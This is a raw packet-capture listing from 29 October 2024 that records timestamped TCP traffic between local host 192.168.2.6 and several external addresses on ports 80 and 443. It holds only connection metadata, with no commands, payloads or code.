Oct 29, 2024 17:59:46.477698088 CET	50019	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.477704048 CET	443	50019	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.478390932 CET	50018	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.478400946 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.478888988 CET	50018	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.478893042 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.483694077 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.483755112 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.483791113 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.483804941 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.483825922 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.483841896 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.483850956 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.483879089 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.483884096 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.483900070 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.483941078 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.499671936 CET	50024	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.499697924 CET	443	50024	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.499975920 CET	50024	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.500175953 CET	50024	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.500188112 CET	443	50024	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.551369905 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.551441908 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.551454067 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.551501036 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.551505089 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.551559925 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.551573038 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.551604033 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.551610947 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.551625967 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.551647902 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.551707029 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.551758051 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.551795006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.551830053 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.551843882 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.551865101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.551870108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.551901102 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.551937103 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.551943064 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.552066088 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.552670956 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.552702904 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.552757978 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.570163012 CET	443	50016	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.570205927 CET	443	50016	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.570256948 CET	443	50016	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.570324898 CET	50016	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.570703030 CET	50016	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.570728064 CET	443	50016	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.573611021 CET	50025	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.573657036 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.573723078 CET	50025	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.574068069 CET	50025	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.574083090 CET	443	50025	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.579041958 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.579123974 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.579174042 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.579193115 CET	50017	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.579235077 CET	50017	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.580337048 CET	50017	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.580355883 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.580383062 CET	50017	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.580389977 CET	443	50017	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.582866907 CET	50026	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.582920074 CET	443	50026	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.583065987 CET	50026	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.583235979 CET	50026	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.583252907 CET	443	50026	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.600909948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.600935936 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.600959063 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.600984097 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.601013899 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.601021051 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.601063013 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.601067066 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.601083040 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.601093054 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.601108074 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.601121902 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.601131916 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.601164103 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.601182938 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.601192951 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.601238012 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.601270914 CET	50020	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.601290941 CET	50020	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.601349115 CET	50020	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.601361990 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.601372957 CET	50020	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.601377964 CET	443	50020	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.604727983 CET	50027	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.604753017 CET	443	50027	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.604824066 CET	50027	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.604952097 CET	50027	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.604965925 CET	443	50027	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.611598969 CET	443	50019	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.612056017 CET	443	50019	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.612140894 CET	50019	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.612165928 CET	50019	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.612180948 CET	443	50019	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.612194061 CET	50019	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.612200975 CET	443	50019	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.614525080 CET	50028	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.614571095 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.614808083 CET	50028	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.614963055 CET	50028	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.614980936 CET	443	50028	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.627120018 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.627213001 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.627298117 CET	50018	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.627438068 CET	50018	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.627438068 CET	50018	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.627449036 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.627456903 CET	443	50018	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.629498005 CET	50029	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.629519939 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.629594088 CET	50029	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.629728079 CET	50029	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:46.629736900 CET	443	50029	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:46.668780088 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.668845892 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.668847084 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.668890953 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.668936968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.668987036 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.668987989 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.669023037 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.669030905 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.669059992 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.669070005 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.669096947 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.669106960 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.669137955 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.669142962 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.669178963 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.669188023 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.669214010 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.669220924 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.669258118 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.669456959 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.669506073 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.669511080 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.669545889 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.669553041 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.669581890 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.669591904 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.669616938 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.669627905 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.669658899 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.711617947 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.711682081 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.711688995 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.711741924 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.717953920 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.718020916 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.718027115 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.718090057 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.718111038 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.718126059 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.718136072 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.718147039 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.718182087 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.718183994 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.718190908 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.718221903 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.718425035 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.718458891 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.718470097 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.718493938 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.718499899 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.718534946 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.785854101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.785882950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.785898924 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.785917997 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.785924911 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.785938978 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.785942078 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.785959005 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.785969973 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.785990000 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.786004066 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.786181927 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.786227942 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.786272049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.786288977 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.786304951 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.786320925 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.786326885 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.786339045 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.786349058 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.786358118 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.786375999 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.786398888 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.787172079 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.787214041 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.787240028 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.787291050 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.818429947 CET	443	50013	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.820491076 CET	50013	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.820524931 CET	443	50013	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.821681976 CET	443	50013	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.821763039 CET	50013	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.822418928 CET	50013	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.822495937 CET	443	50013	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.823878050 CET	50013	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.823901892 CET	443	50013	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.824039936 CET	50013	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.824071884 CET	443	50013	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.835335970 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.835365057 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.835381985 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.835412979 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.835427999 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.835441113 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.835445881 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.835463047 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.835464954 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.835485935 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.835494995 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.835504055 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.835521936 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.835745096 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.835794926 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.836139917 CET	443	50014	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.845493078 CET	50014	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.845514059 CET	443	50014	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.846626997 CET	443	50014	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.846684933 CET	50014	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.847232103 CET	50014	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.847304106 CET	443	50014	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.847465038 CET	50014	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.847476006 CET	443	50014	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.847537994 CET	50014	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:46.847558975 CET	443	50014	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:46.875804901 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.875886917 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.875924110 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:46.875927925 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.875967979 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.875988007 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:46.890187025 CET	50030	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:46.890217066 CET	443	50030	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:46.890357018 CET	50030	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:46.890522957 CET	50030	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:46.890537977 CET	443	50030	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:46.893366098 CET	50014	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:47.141611099 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.141675949 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.141680956 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.141726971 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.141736984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.141772032 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.141807079 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.141835928 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.141845942 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.141861916 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.141902924 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.141913891 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.141942978 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.141956091 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.141999006 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.142008066 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142060041 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142092943 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.142096043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142101049 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.142129898 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142141104 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.142172098 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.142218113 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142254114 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142266989 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.142288923 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142298937 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.142319918 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142334938 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.142364979 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.142421007 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142457962 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142505884 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.142518997 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142570972 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142604113 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142608881 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.142638922 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142646074 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.142673969 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142708063 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142714024 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.142741919 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.142741919 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142776966 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.142782927 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.142817020 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143017054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143050909 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143085957 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143114090 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143114090 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143138885 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143151999 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143170118 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143186092 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143198967 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143220901 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143230915 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143255949 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143261909 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143291950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143301010 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143336058 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143347025 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143379927 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143404961 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143414021 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143420935 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143449068 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143484116 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143486023 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143517971 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143531084 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143553972 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143587112 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143595934 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143621922 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143629074 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143726110 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143729925 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143764019 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143771887 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143796921 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143796921 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:47.143831968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:47.143836975 CET	49958	80	192.168.2.6	185.215.113.206
